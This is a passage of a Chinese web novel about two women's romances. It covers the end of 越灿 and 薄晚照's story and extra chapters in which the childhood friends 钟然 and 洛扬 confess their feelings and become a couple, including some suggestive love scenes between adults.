勾引失败,越灿松开拥抱,给上前撒娇的小脏脏包喂零食。 磨人精,薄晚照拉了拉已经滑落肩头的领口。 谭茗在电话里隐约听到了那句暧昧的话,她清了清嗓子,“还有事……就先不说了。” 薄晚照:“……” 显然是被听到了动静。 越灿翘着二郎腿,正拿玩具逗小脏脏包,她转头看薄晚照一眼,阴阳怪气说:“你现在陪我妈的时间比陪我还多。” 没等薄晚照说什么,她起身去洗了洗手,独自回卧室去了。 薄晚照望着她背影,几分无奈地笑了笑。 不久,薄晚照也洗完澡回到房间,越灿倚靠在床头玩手机,盯着屏幕专注投入。 听到关门声,越灿轻轻抬眸,不经意的一瞥变成久久定格,薄晚照身上穿着她的睡裙,漂亮的身段一览无余…… 薄晚照走近,问她:“怎么了?” 越灿眼神闪了闪,“你怎么穿我的睡裙?” 薄晚照上床,轻飘飘回答:“随手拿的。” 越灿看到靠近的脸庞,心动了动,但偏偏矜持起来,当作若无其事。 在床上躺下,越灿有意背对着薄晚照,薄晚照就从背后抱她。 越灿哼了一声,“别抱。” 记仇得很。 薄晚照柔声笑,“生气了?” 越灿故作矜持僵了会儿,被越抱越紧后,还是忍不住转了身,去看薄晚照的脸。她低声不依不饶地说:“你才追到我多久,就冷淡了?” 薄晚照点头,“嗯,今晚是我不好。” 越灿看着她,一下无话可说,认错哄人也太及时了。她觉得她们之间很难有矛盾,太在乎彼此了,发现些小情绪都会在第一时间解决。 正因为曾经错过,才格外懂得珍视。 薄晚照撩了撩她头发,低垂的眼神似水。 越灿心跳轻而易举就被撩了起来,她哑声道:“你就知道欺负我?” 薄晚照依然耐心:“怎么又欺负了?” 越灿:“……知道我受不了你这样。” 薄晚照眼底含笑,亲了亲她嘴角,抵着鼻尖问:“这样呢?” 越灿以前就扛不住薄晚照哄她,更别提现在用这种哄法,温柔撩人。她扛不住半点,眼神软了软,任性说,“多哄一下。” 薄晚照笑她:“磨人精。” 越灿洋洋得意笑:“谁让你愿意让我磨呢?” 薄晚照心动了动,勾过她下巴,又吻在她唇上,放纵方才克制的躁意蔓延。 越灿闭眼,尝到了一个热情绵长的深吻,她呼吸被吻得凌乱,手指勾着睡裙肩带往下扯,薄晚照足够配合,轻松褪下。 两人都不习惯关灯,喜欢点点滴滴看清彼此——怎么忘情失控,怎么低喘呢喃。 辗转了几个姿势,长腿缠在一块儿,腰肢同频律动。越灿上身都在颤,腰酸软得逐渐使不上劲,她往薄晚照怀里趴了趴,快坐不稳。 薄晚照抱住她后腰,亲她耳朵细声问:“觉得我太冷淡了?” 跟工作复盘似的,越灿双颊的绯红蔓延到了脖颈,她急促喘着气,“我随口说的……” 薄晚照偏头堵住她的唇,又是深吻。 越灿彻底意乱情迷,“薄晚照……我以前……还以为你……性冷淡来着。” 薄晚照笑意温柔,但亲吻和其他都强势,她眼底的暧昧露骨,动情低叹着:“那你看人不太准。” “是你太能装。” 片刻,抱在一起一齐颤栗,被淋漓尽致的满足包裹。 …… 越灿一夜安眠,睡得浑身暖洋洋的,薄晚照已经起来了。 客厅里明亮,满室春光,越灿眯了眯眼,步伐慵懒地往厨房走去。 薄晚照已经对背后传来的温暖拥抱习以为常,但每次还是会忍不住笑。 越灿馋嘴问她:“今天做了什么好吃的?” 薄晚照回头看她:“三明治。” 越灿满足笑。 薄晚照望着她脸庞的笑,曾经不敢奢望的幸福美好变成了触手可及的寻常,平淡清晨的拥抱,咖啡冒出的热气,窗外透过的晨曦,不论天气如何,她心底始终明媚。 今日晴朗,又是一个好天气,微风从窗户吹进来,带来芬芳和温暖。 越灿看看窗外,“又要夏天了。” 薄晚照笑着看她,“嗯。” 四季更替。 余生漫漫。 (正文完) 第84章 【番外】我好像也喜欢女人。 “我也好想谈恋爱啊。”钟然咬着吸管,看着对面的一对小情侣,日常发出羡慕的感概。 今晚有好友生日,聚了不少朋友在一起庆祝。 大家对钟然的这种感叹习以为常,三天两头挂在嘴上,钟然虽然恋爱脑,但到现在还是母胎solo。 洛扬瞧了瞧身侧的人,朝钟然递过一张湿巾。 钟然手指正好沾了果汁,她自然而然接过。 两人相处起来熟络,一个眼神就知道对方要什么,她们从幼儿园开始就是邻居,后来小学中学都念一所学校,大学也是在同一座城市,从没分开过。身边朋友都羡慕她们的友情。 越灿瞧在眼里,开玩笑说:“洛扬也一直单着,要么你们凑合算了?” 钟然反应很大,立即朝越灿说:“哎,别开这种玩笑行吗?” 除了越灿性格如此,身边没其他朋友调侃她跟洛扬,旁人都知道她们是纯友谊,太熟了,调侃起来尴尬。 洛扬安静没说什么。 钟然话多,很快和其他人又聊得火热。 “小然,我介绍个姐姐给你认识,要不要?”有朋友热心,“超漂亮的。” 钟然颜控,对认识美女要多积极有多积极,“好啊。” “我把她微信推给你,”朋友推了微信后,又说,“头像就是她本人,是不是挺好看的。” 钟然连连点头,“嗯。” 洛扬偏过头,看她一直勾着嘴角。 钟然回眸看见洛扬正盯着自己,知道又要被“嘲笑”没出息了。 果不其然。 洛扬悠悠说:“开心成这样?” 钟然眨眨眼,“你理解一下我想谈恋爱的心情行吗?” 洛扬:“……” 九点多聚会散场,钟然有留意到洛扬今晚喝了酒,于是开车送洛扬回去,她们太熟了,很多时候甚至不用多说一句话。 但洛扬今晚有点过于安静了。 “怎么啦?心情不好?”钟然忍不住关心,“是不是最近加班太累了?” 洛扬哼了一声:“嗯。” “你工作别那么拼。”钟然笑说着,“你老是这样,以前上学卷,现在上班卷。” 钟然很擅长照顾人,说话又甜又暖的,很讨人喜欢。 不过洛扬没被安抚到,她眼神反而沉了沉,许久没说话,一直到车在小区门口停下,她才开口问钟然:“明天晚上去看电影吗?” 钟然顿了下,跟洛扬直说:“我找到人陪我去看了。” 洛扬无声看着她。 她们之间向来是有话直说,所以没什么尴尬,钟然大大咧咧说:“明天要去‘相亲’,跟对方约好一起看电影。” 洛扬缓了缓,笑道:“这么快就约上了?” 钟然笑笑。 酒窝都笑出来了,洛扬望着她淡淡说:“嗯。” 钟然感觉到了低气压,立马补充道:“周末我们去看电影,我发现一家好吃的店,我请客。” 洛扬还是平淡回:“再说吧。” 她下了车,车门不轻不重被关上。 钟然看向窗外的背影,良久,总觉得洛扬今晚特别低气压,她想…… 大概真的是加班太累了吧。 她给洛扬发了条微信:好好休息- 翌日下班后,钟然补了个妆,前去赴约。对方叫薛梦,比照片上更漂亮,性格也挺好的,热情大方。 两人一起看了电影后,对方又提出去清吧。 钟然如实说:“我不怎么能喝酒。” 薛梦:“那就不喝,听歌聊天。” 钟然笑着点点头。 薛梦摸了摸她头发,“你好乖啊。” “我都二十六了,这么说不合适。”钟然尴尬笑说,她挺讨厌被人摸头发,平时也就洛扬会对她做这个动作,连越灿都不会。 薛梦说:“看不出来,你太显小了。” 电影散场没多久,钟然看到洛扬给她发了微信,问她电影好不好看。 钟然打着字:简直预告诈骗,太多槽点了。 【洛扬】什么槽点? 钟然霹雳啪啦打字说了一堆。 薛梦瞥见一路上钟然都在跟人手机聊天,不禁笑问:“跟谁聊天呢?” “我发小。” “难怪,一起长大那关系肯定很好了。” “嗯。”钟然这才意识到自己太没礼貌,她总是一跟洛扬聊天就说个不停,忘乎所以了。她跟洛扬说自己要去清吧听歌,晚点再回她消息,就把手机塞包里了。 到了清吧,钟然只要了果汁,跟不熟悉的人在一起,她不会喝酒。 薛梦挺照顾人的,还陪她一起喝果汁,来酒吧都不喝酒,弄得有点滑稽。 洛扬正在家加班,她走了好几次神,给钟然发了不要喝酒的消息,一直没收到回复,连回一句话的功夫都没了? 过了十分钟左右。 她还是拿起手机,给钟然打了个电话。 钟然正跟薛梦聊天,手机震动着,她拿起看了看,然后跟薛梦说了声,滑动接听。 “什么事?”钟然开门见山问。 洛扬顿了顿,说:“你少喝点酒。” 钟然无奈笑了,“我没喝,你不在我不敢喝。” 洛扬:“嗯。” 钟然总感觉她还有话,“没其他事了?” 通话陷入一小段沉寂。 钟然以为信号不好,“听得到吗?” “听得到。”洛扬应道,“钟然,我有点不舒服……” 钟然连忙追问着:“要不要紧啊,怎么回事?” “可能吃坏东西了。”洛扬又说,“也没太严重……” “哎……”钟然叫住她,“我马上过来。” 结束通话,钟然跟薛梦说了声抱歉,“我朋友不舒服,我得过去陪她。” 薛梦抬抬眉,“你发小?” 钟然已经匆匆起身:“嗯。” 薛梦若有所思,半开玩笑地问:“你发小是不是喜欢你?” 钟然不假思索摇头,“我们从小就认识了,跟家人一样。” 薛梦莞尔,“我送你?” 钟然:“不用。” 薛梦:“那我们下次再约,我挺喜欢你的。” 好直球啊,钟然都有点不好意思了,跟薛梦告别后,她直接开车去了洛扬的住处。 不到半小时,洛扬就听到门开了,她们有彼此家的密码,串门从来都不敲门。 洛扬走到客厅,看到钟然风尘仆仆,手里还提着药袋。 “我带了药。”钟然见洛扬气色还行,放心了些,她转眼又看到亮着的笔记本电脑,“你不舒服还加班,想不想好了。” 洛扬原地站着,注视眼前的人片刻,冒出一句:“今晚是不是打扰你了?” 钟然愣住,她们之间从不说这种话的,“你没事吧,干嘛说这种话?” 洛扬轻抿唇。 钟然去厨房倒水,给洛扬递过水和药,“吃点药。” 洛扬接过了水杯,“好多了,就不吃药了。” 钟然收起药,“那也行。” 洛扬喝了喝水,尽可能自然地问:“顺利吗?” 钟然:“啊?” 洛扬语塞,说得更明确:““相亲顺利吗?” 钟然自己也倒了杯水喝,“还可以,人很漂亮性格也好,她好热情好直接,说挺喜欢我。” 洛扬眼睫颤了下,安静喝着水,没问更多。 看洛扬始终怏怏的,这晚钟然*没走,怕她晚上万一不舒服,身边没人。 两人经常在对方的住处过夜,都有衣服在彼此家,钟然轻车熟路去衣柜拿了睡衣,洗澡后换上。 洛扬跟她说:“次卧被单很久没换了,暂时没新的。” “那我睡你房间。”钟然不拘小节,她们小时候都能穿同一条开裆裤,睡一张床也不算什么。 洛扬:“嗯。” 钻进同一个被窝,钟然翻过身看洛扬,轻声问:“你好点没?” 洛扬低声说:“好点了。” 钟然看她的状态,“我怎么感觉你更严重了?” “我……”洛扬刚想说什么,戛然而止,她看到钟然的脸突然贴近,面对面,伸手摸她额头。 钟然对视上洛扬目光,后知后觉这距离过近了,呼吸轻轻扫过彼此嘴唇,不知道是不是今晚被薛梦说的,她心跳乱了下,居然觉得洛扬看自己的目光有点暧昧…… 靠,想什么呢? 钟然被自己冒出的这个想法吓到了,她再想谈恋爱,也不能脑补跟洛扬。 凑这么近肯定会产生暧昧的错觉,钟然悄悄又拉开距离,“睡觉吧。” 距离拉开后,洛扬心里空落落的。 钟然说:“我关灯了,有事你叫我。” 洛扬点点头。 关了灯,卧室里一片黑暗。刚刚那一出过后,钟然莫名其妙不怎么睡得着了。 洛扬时不时偏头看向枕侧,心间怀揣着藏了多年的心事,也睡不着。她眯了一会儿,试探着朝身侧的人又靠近几分。 黑暗中一点细微动作都明显,钟然没出声,以为洛扬只是翻了个身。 温热近在咫尺,洛扬终究是没忍住,又靠近了点,直接将身侧的人抱住了。 “嗯?”钟然猝不及防哼了下,“洛扬?” 洛扬心跳快着,一时不知道回答什么,但抱着又不想撒手。 “还是不舒服么?”钟然看她一反常态。 很好的借口,洛扬应了下“嗯”,有了合理的借口后,她又贴近了些,从背后牢牢将人圈紧,脸颊蹭进对方后颈。 钟然敏感僵了僵身子,由于自己的性取向,她和洛扬虽然关系亲密,但从来没这么亲密抱过。 尊重一下自己的性取向行不行,钟然觉得有点难捱,但还是故作镇定,没表现出不单纯的心思,洛扬肯定是很不舒服才突然这么抱她。 她强忍着不安,让洛扬抱着,她在黑暗中小声问:“你睡不着?” 洛扬抱着她回答:“有点。” 钟然:“给你放点白噪音助眠?” 洛扬:“不用了。” 这么抱着,钟然哪哪都不自在,又不好挣开,她想着或许说点什么能缓解一下,“上次和你表白的同事,不是挺好的,你干嘛那么直接拒绝?” 洛扬:“我不喜欢。” 说些话似乎好些了,钟然继续聊天,“哪有上来就喜欢的,肯定得先相处一下,你老是不给别人机会,也不尝试。” 洛扬轻轻吸气,等了好一会儿,她叫了叫:“钟然。” “什么?”钟然问。 洛扬又静了静。 钟然是急脾气,最听不得话说一半,她急着催问:“你有话就说呗,跟我还有什么不能说的。” “我……”洛扬埋了埋头,“我好像也喜欢女人。” 钟然猝不及防,霎时感觉这个拥抱更烫了,烫得她身上快冒热气,跟哑巴了似的,半晌没说话。 洛扬说出来后,心情忐忑。 两人不约而同沉默了好一阵。 钟然有点语无伦次,“你不会是被我影响了吧?我影响力这么强的吗?灿灿也是……” 洛扬:“…………” 第85章 你喜欢的人是我? 从小一起长大的两个人,太熟悉彼此,总能第一时间察觉到对方的不开心。钟然感觉最近洛扬的心情不好,打算周末都留在洛扬这边陪她。 翌日不上班,钟然睡到十点多才起,她摸索下床,眼睛要睁不睁地往洗手间走去。 洛扬刚洗漱完准备出来。 两人在浴室门口迎面碰上,身体撞在一起。洛扬及时搂住她,轻声提醒:“小心点儿。” 腰被抱住,钟然旋即睁了睁眼,瞌睡瞬间醒了。 洛扬笑她,“睡这么久还没睡醒?” 钟然顿了半秒,也笑了笑,“睡晕了。” 洛扬见她光脚就走了出来,于是先将自己的拖鞋让给她穿,自己另外去穿一双。 钟然低头看着脚上踩着的拖鞋,走了走神,刚刚怎么又往歪处想了…… 中午点的外卖,安静吃了一阵,钟然抬头看向洛扬,不禁八卦问:“洛扬,你怎么突然意识到自己喜欢女人了?” 昨晚洛扬告诉她的时候,她挺猝不及防的。 洛扬看钟然问得一脸单纯,语塞许久,就迟钝成这样?她以为自己昨晚的那个拥抱足够暧昧,暗示得足够明显。 钟然想了想,欲言又止:“你是不是……” 洛扬握筷子的手紧了紧,心提了起来。 钟然大胆猜测着,“遇到喜欢的人了,是个女人?” 洛扬:“……” “你告诉我嘛,我好奇。”钟然催促着,语气带着习惯性的撒娇。 洛扬瞧瞧她,“是。” 钟然静了静,没想到会得到肯定回答,尔后她又跟发现新大陆一样,“你居然会有喜欢的人,是什么类型的?你们怎么认识的?你怎么一点也没跟我提过?” 洛扬听她叨叨问着许多,心里越发烦闷,不想说话。 钟然没心没肺问:“你害羞了?” 洛扬低了低头,“吃饭。” 钟然见她暂时不想说太多,也就不追问了。 下午两人一起去了电影院看电影。 钟然有轻微的夜盲症,所以每次一走进影厅,洛扬都会牵住她的手,这次也不例外。 手心传来的还是熟悉的温度,钟然跟着洛扬的步伐往黑暗中走,她有点心不在焉,得知洛扬也喜欢女人后,她似乎变别扭了。 钟然本以为这种感觉不久就会消了,可并没有如此,洛扬还是像以前一样照顾她,关心她,但她却像搭错筋一样,总是冒出不清不楚的暧昧感。 她当然没有表现出来,努力保持着之前的相处模式。 怎么能对洛扬有想法?她每次都会及时止住跑偏的想法,但现在跟洛扬相处,完全回不到曾经那种单纯的状态了。 洛扬有喜欢的人了,她最近也纠结这个问题,她在洛扬那一点消息也没打听出来,她发微信给越灿,问越灿不知道洛扬有暧昧对象的事。 【越灿】她暧昧对象不是你吗? 钟然回了她一个无语的表情包。 【越灿】你都不知道,我哪会知道。 钟然烦了起来,不知道哪里出了问题,就是烦,心情都是浮躁的。 这天策划案又被总监否了,她更是烦上加烦,下班后,她给洛扬打了电话。 她心情不好的时候,习惯了第一时间找洛扬,这么多年都是如此。 “你下班了吗?”打通电话后,钟然开门见山说,“我们晚上一起吃饭。” 洛扬回答:“今晚不行,我没时间。” “要陪你未来女朋友?”钟然原本打算用调侃的口吻问这句话,结果一说出口,嗓音却有些沉,听着不对劲。如果洛扬有喜欢的人了,不把她放在第一位也很正常。 洛扬也静默一阵。 “那你……”钟然刚开口,被同时开口的洛扬打断了。 “你能跟别人约会,我不能么?” 钟然被问住了,转而马上笑说:“能,那你去吧,祝你早日脱单。” “钟然……” 钟然莫名其妙更烦了,努力不暴露出来,“什么?” 洛扬及时跟她解释清楚:“我今晚是要加班,不是约会,没有约会。” 下班回去后,钟然连吃饭的心情都没有,趴在沙发上玩了会儿游戏,全程心不在焉,死了一遍又一遍。 她关掉游戏,在沙发上翻了个身,累加上无聊,眯眼小睡了过去。 不知过了多久,听到门开的声音,钟然才惺忪睁开眼,她在沙发上坐起身,瞧见洛扬过来了,还带了吃的。 “你怎么过来了?” 洛扬换了鞋,“听你心情不好,过来陪陪你。” 钟然心暖,总是这样,洛扬一听她说话的语气就能猜到她的心情。 洛扬又问她:“怎么了?” “策划案被否了,又要改。”钟然闷闷说着。 洛扬注视她眼睛,又轻声问了问:“就这些?” 钟然嘟哝:“这还不够烦吗?” 洛扬眼底黯了黯,“洗手吃饭。” “嗯。” 洛扬知道钟然心情不好,就不吃东西,过来特意带了晚餐。 钟然心情不好时,就洛扬能哄到,在洛扬的催促下,她洗了手坐到餐桌前。 又第一时间过来陪自己,钟然吃了口水果,问洛扬:“你不用陪未来女朋友么?又来我这。” 洛扬听她第二天提起这个话题,想了想,淡声问:“你介意我跟别人约会?” 钟然听了,飞快回答:“我干嘛介意?” 洛扬看着她,“感觉有点。” “哪有?”钟然嘴硬否认着,些许心虚,因为她也觉得这个念头太过自私,就算关系好到不行,她也没资格管洛扬谈恋爱的事。 洛扬低头吃东西,“你呢?” 钟然:“我什么?” 洛扬问:“要脱单了?” 钟然顿住,“哪有这么快,我和她才见一次面,你知道我很慢热的。” 洛扬又稍稍松了口气,但也只是松一点,她继续问:“那你喜欢她吗?” 听洛扬这么问,钟然心乱了乱,隐约感觉洛扬也在介意,是因为她们对彼此的占有欲太强了吗? 钟然胡思乱想着,她朝洛扬回了声:“不知道。” 洛扬挑眉:“不知道?” 钟然跟念三字经似的:“不清楚。” 晚上下了雨,洛扬没走,留在钟然这边过夜。 钟然先洗了澡,出来后跟朋友聊了会儿天,才想起吹干头发。她发量多,每次吹头发都要吹上好半天。 不久,洛扬走进了卧室。 钟然回头一看,看见身上只裹了条浴巾的洛扬,她下意识回避了目光。 洛扬径直朝她走了过去,接过她手里的吹风机,帮她吹着。 钟然能嗅到身侧传来的温热香气,面前就是镜子,她目光无处可躲,无奈跟洛扬说:“你去穿一下睡衣吧,别着凉了。” 洛扬:“没事,不冷。” 钟然:“……” 这是冷不冷的问题吗?! 洛扬耐心帮她吹干长发。 钟然有一瞬间觉得洛扬是故意的,跟勾引人似的,又认为是自己心思不纯,所以看什么都不纯。 洛扬视线悄然落在她脸庞,片刻,“热吗?” 钟然也清楚自己脸红了,她蹩脚说:“风……太热了。” 洛扬调低了一档温度。 钟然的脸红没有好转,反而因为洛扬的手指碰到她头皮和后颈变得更烫,在不该敏感的时候敏感。 “还是热?”洛扬凑近了些,更清晰地看她双颊。 钟然偏头恰好对视上,除了热,还有口干舌燥,洛扬身上围过来的香气弄得她心情浮躁。 洛扬也看着她,倏尔笑了笑。 钟然皱眉,“你笑什么?” 洛扬说她:“傻不拉几的。” 钟然急了:“我哪傻了?” 对视间,洛扬眼神情不自禁更柔,嗓音也是:“你不傻吗?” 此刻的气氛跟小情侣调情一样。 这略显暧昧的话语,弄得钟然心彻底乱了,她不知所谓地朝洛扬甩过一句:“我不想理你了。” 洛扬揉了揉她吹得干燥的头发。 这一晚钟然说到做到,没搭理洛扬,只闷头睡自己的。 洛扬拉过被子,贴心帮她盖好- 又过了几天,钟然跟越灿聚了聚,洛扬也一起。三人从中学起关系就好,这么些年没淡过。 晚上这顿饭三个人吃得都挺沉默,钟然知道越灿最近在烦心和薄晚照之间的事,至于洛扬,她不太清楚。 吃完晚饭,钟然想散步吹吹风,洛扬照旧什么都由她,洛扬从小到大对她太好了,她有时候想,就算找了对象,对方也不一定有洛扬对她好。 两人一言不发走了长长一段路,钟然感觉她们之间的关系变味了,不再似从前那样纯粹,隔着什么。 这种滋味很不好受。 又走了几分钟,钟然率先开口,不禁问洛扬:“你最近有心事吗?” 洛扬回回头看她。 “你有心事跟我说。”钟然像以往一样关心着,“又是工作上的事?” 洛扬有点厌倦这样的对话了,她不希望这些关心只停留在朋友的层面,她想要更多。 没聊两句,钟然手机响了响,是薛梦给她发了微信消息,问什么时候能再见面。 钟然现在压根没心情想这些,满脑子都想着洛扬,她不明白,她跟洛扬之间怎么就变成现在这样了…… 好乱,好烦。 薛梦人挺好的,钟然也不好拖着人家,于是她发消息想跟薛梦说清楚,说自己暂时不考虑谈恋爱。 洛扬瞥见,随口问:“那个相亲对象?” 钟然心不在焉:“嗯。” 洛扬看她迫不及待又回着别人的消息,情绪有些压不住,也不想压了。 跟薛梦说清楚后,钟然收起手机,抬头便看见洛扬脸色很差,她再迟钝也感觉到了,洛扬好像介意她跟别人暧昧,可她又不确定……最后她只好乱糟糟问着:“你到底怎么了?心情不好又不跟我说,我怎么安慰你?” “我不想你跟别人相亲。” 钟然心跳快了起来,马上顺着她的话:“那我以后就不相亲了,我刚刚也跟对方说清楚了。” 洛扬拿她没辙,“你知道为什么吗?” “为什么?”钟然脑子乱得像锅沸腾的粥,“你说清楚点。” 她最不会猜了。 洛扬:“我真要被你气死了。” 钟然也急,她没来得及反应,被洛扬牵住手,拉进了一旁的小巷。她张口尚未说出什么,唇便被强吻住了—— 仿佛整个世界都静了下来,只剩心跳在雀跃。 洛扬头一回干这么冲动的事,她含着钟然唇瓣吻了许久,钟然没推开她…… 钟然本能的反应是闭眼,第一次接吻,心脏突突的,她几乎不会呼吸了。 小巷里夜色朦胧。 越界后,洛扬问她:“这样够清楚么?” “你……”钟然看着她脸庞,后知后觉,“你喜欢的人是我?” 洛扬:“你才反应过来?” “你不说出来我怎么知道?”钟然委屈,她气急败坏,不管不顾凑到洛扬唇上咬一口。 洛扬趁她贴过来,下一刻,抱过她吻得更强势放肆。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【终章】 第86章 要一辈子在一起。 “洛扬……”钟然轻哼着,但发出的声音下一秒就湮灭在亲吻间。 洛扬凑紧唇反复吻着,没能给她说话的机会。 唇上的柔软触感抽空了大脑,钟然无暇想什么,渐渐合了眼,她抬起手臂勾住洛扬脖颈,也缠着她唇瓣轻轻吮吸。 小巷里安静的空气变暧昧,两人都情不自禁着,任由呼吸互相交缠。 不清楚忘情吻了多久,隐约听到脚步声,似是有人经过,她们才分开唇,各自双颊绯红,心跳都快。 钟然神情有些木,人都呆了。 洛扬预想到钟然会是这样的反应,钟然神经大条简单,一旦遇到复杂点的事,就会大脑宕机,她不急着说什么,只是温柔抚摸她头发。 钟然心还在躁动跳着,她魂不守舍看着洛扬,两人之间的暧昧都溢了出来,她从没想过,会是洛扬让她尝到接吻的滋味…… 回去时是洛扬开的车,钟然坐在副驾驶一声不吭,脑子里一片混乱,时不时抿一下唇,好像唇上还残留着什么东西。 洛扬放了点舒缓宁静的音乐。 她们一路上都没说什么话,但车里的气氛暧昧得有点透不过气,至少钟然是这么觉得。 回到了家,钟然抓抓胳膊,才注意到手臂上有好几个蚊子包,不知道什么时候被咬的,痒得很。 洛扬拉住她的手,“抓破了疼。” “嗯。”钟然看她一眼,明明都认识了二十几年,眼下相处起来,竟有种陌生的别扭感。 洛扬:“先去洗个澡,等下给你擦药。” 钟然点点头,今晚发生了太多,她一直处于稀里糊涂的状态,洛扬说什么她就应什么。 洛扬盯着她转身后的背影,无奈笑了笑,真的笨死了。 钟然洗完澡出来,就被洛扬拉到沙发上坐下,给她擦药膏。洛扬比她大几个月,性格又比她沉稳,所以从小到大,她都习惯着洛扬无微不至的照顾。 洛扬擦着药,“好点了没?” 钟然回神,“好点了。” 洛扬:“我说你心里。” 钟然默了默,心里还是乱的,也说不清在乱什么,大概是关系转变得太突然,她一时间无所适从。 相比之下,洛扬显得冷静许多,“反感吗?” 钟然:“嗯?” 洛扬:“跟我接吻,你反感吗?” 钟然脸颊猝不及防又烫了烫,问得也太直接了。 洛扬盯着她,“说实话。” 在目光注视下,钟然摇了头,要是反感,晚上也不会亲那么久了…… 洛扬浅笑了笑,她太了解钟然的性格了,没直接让钟然给答案,而是继续问:“你不希望我和其他人在一起,是不是?” 钟然没办法否认,“是。” 洛扬足够耐心,“为什么不希望?” 钟然破罐破摔般说:“就是不希望。” “你不希望我跟别人在一起,你可以跟我接吻,你觉得这算什么?” 钟然默然,就跟学生时代洛扬帮她辅导功课一样,几句话就帮她理清了思路,这算什么?她这段时间也意识到对洛扬的占有欲太强了,她觉得烦,不是烦洛扬有了暧昧对象不跟她说,而是烦洛扬有了暧昧对象…… “大学的时候我就喜欢你了,但你从来都不多看我一眼。” 钟然听到后半句,忙说:“我哪有,你一直是最重要的。” “我想要另一种重要。”洛扬眼神沉下来,钟然越在意她,她越不是滋味,仿佛两人的关系永远只能止于朋友,她只能以朋友的身份,看钟然把目光投向别人。 钟然见她眼睛红了,难受,她最看不得洛扬受委屈了,“我们太熟了,我也不好意思对你下手……” 洛扬凝视她眼睛,抓住重点:“所以,想过对我下手?” “我……”钟然心虚,她曾经的确想过,但她们之间的友情太深了,就算隐隐察觉到暧昧,也会及时止住念头,她潜意识就将洛扬归在不可能的那栏。她是不对劲,那晚洛扬跟她说喜欢女人之后,她就越来越止不住某些不单纯的念头。 “你不是想谈恋爱吗?”洛扬再也不想默默旁观,“跟我谈,不要跟别人。” 钟然稍稍愣住,尔后点头,“嗯。” 洛扬勾起唇边,盯了眼前的人片刻,她声音轻了轻:“我想亲你。” 钟然心率快了快,略微无措地嘀咕一声:“那你亲啊。” 莫名相视而笑,怎么弄得这么别扭。 洛扬没矜持,凑过身吻住了一片软唇,吻得轻柔热情。 钟然轻微仰头,同她吻在一起,不知所措得手不知道往哪放。 洛扬像是看破了这点,一面亲她唇瓣,一面牵过她的手,让钟然抱着她的腰。 手有了落点,钟然边亲边抱紧着。 比起晚间在小巷里浅尝辄止的亲吻,她们此刻吻得更急切,能听到逐渐急促的呼吸和缠绵的吮吸声,暧昧交织在一起,脸红心跳。 钟然不知道自己是怎么被压倒在沙发上的,也无暇顾及,唇上的吻过于热情,她浑身都绵软,直至回应不过来越来越深的湿吻,她摸着洛扬后腰,移开唇直喘气。 洛扬也轻叹着,笑她:“笨死了,记得换气。” 钟然已是满面绯红,虽然她平时大尺度的电影没少看,骚话也信口拈来,但真亲热起来,却纯情得很。 没休息多久,唇又缠上。 她们还抱在一起,钟然感觉自己都被亲软了,不禁低声朝洛扬问:“你怎么这么会啊?” 洛扬哑了哑,然后亲她耳朵,闷声回答:“想太久了啊。” 钟然臊了:“你……怎么这样?” 洛扬轻声笑:“我又怎么了?” 对话没持续太久,钟然腰一软,又被吻住了唇,再次陷入迷迷糊糊的亲吻中。 洛扬低声提醒:“张嘴。” 钟然在洛扬面前乖得很,接吻时也这样,被洛扬一说,立即配合张了张唇。 洛扬又哑声说:“伸舌头。” “嗯。”钟然脖颈都在发烫,还是习惯性无条件满足洛扬的要求,不一会儿,柔软在口腔相互逗弄纠缠,她觉得害臊,初吻就亲成这样也太饥渴了,但又跟上瘾一样,不想停下。 洛扬心头也发烫,她轻瞥钟然潮红的脸颊,再吻过去时,轻轻解着睡衣衣扣。 钟然一整个意乱情迷的状态,明白这个动作的含义,她软软咬着洛扬唇边,边吻边哼:“这样是不是太快了?” 洛扬顿了顿,“太快了么?” 这一停顿钟然反而耐不住了,眼底躁动,不管三七二十一了,拉过洛扬继续亲。上次洛扬穿浴巾勾她时,她就想这么做了…… 洛扬嘴角微扬,埋头同她深吻,不吝惜回应和主动。吻到衣衫都松垮,都难以按捺,“我去洗澡。” 钟然:“嗯。” 洛扬知道钟然不会拒绝她的提议,须臾,她轻声说:“陪我。” 钟然脸红着,又点了头。 哪是洗澡,从浴室出来后,钟然只想捂脸,辗转到了床上,她陷入被褥里,身上是一片温暖。她们抱过无数次,但没有像眼下这样不着/寸缕得抱着。 洛扬看她傻傻盯着自己,觉得可爱,“怎么了?” “好像有点……”钟然难为情,“不太习惯我们这样。” 洛扬静默两秒,低头亲她,手指顺着腰侧往下,感受到一片湿热温暖,“以后我们每天都这样,就习惯了。” 钟然:“……” 她眯了眯眼,身体开始给出诚实的反馈。 “洛扬。” “嗯?” 钟然用手背挡着眼睛,说不上话,只咬唇哼个不停,她原本还以为洛扬是老实人,直到今晚才明白…… 洛扬笑着拉开她的手,又去吻她,辛苦藏了这么多年,终于等来今天,哪里会收敛。 这一晚都被潮热的浪卷着,钟然手心掐住床单,攥了松松了攥,晕晕乎乎,不知道反复了多少次。 洛扬看她眼角微微湿润,亲了亲,“疼?” “不是。”钟然撒娇往她怀里钻,不好意思说出口,太爽了。 …… 确定了关系,两人还是和以前一样的相处模式,钟然后知后觉,明白越灿为什么总爱调侃她跟洛扬像小两口。她们没在一起的时候,确实就挺像情侣了。 不过最好的朋友突然变成了女朋友,钟然一时半会还是没缓过来,见了朋友,也不知道怎么解释她们现在的关系。 尤其是面对越灿,她信誓旦旦跟越灿说了好多次,跟洛扬是纯友谊。 周末越灿的新店开业,她们去捧了场,晚上又在一块儿聚了餐。 聚餐结束之后,钟然明显感觉到洛扬情绪低沉了,一直到家都寡言。 晚上躺在床上,钟然忍不住翻过身,看向身侧的人,“你生气了?” 洛扬瞟一眼她,安静。 “你就是生气了。”钟然说着。 洛扬面对钟然一直都是好脾气,不过这次的确不开心了,“我不应该生气?” “应该!是我不对,下次找个时间我们正式公开。”钟然飞快点着头,认错也快,说罢又朝洛扬甜笑着,“这次就原谅我吧?” 洛扬没话说,钟然最懂怎么哄她,“嗯,睡吧。” 钟然看她安静躺下,就睡了?等了片刻,她往洛扬身边贴了贴,低声撒娇:“你还是没原谅我。” 洛扬:“哪有?” 钟然脱口而出:“那你今晚怎么不……”说一半戛然而止,也太不矜持了。 洛扬盯着她,“不什么?” 钟然目光扫过她嘴唇,豁出去了,哄女朋友肯定跟之前要有不同,她就近吻在洛扬唇上,“不跟我这个……” 洛扬这时笑了笑。 钟然觉得她像是故意的,也笑了,然后心跳着继续亲她,蜻蜓点水蹭了几下唇瓣,按捺不住变成贪婪又热情的深吻,这些天都是洛扬在主动,她头一次这样。 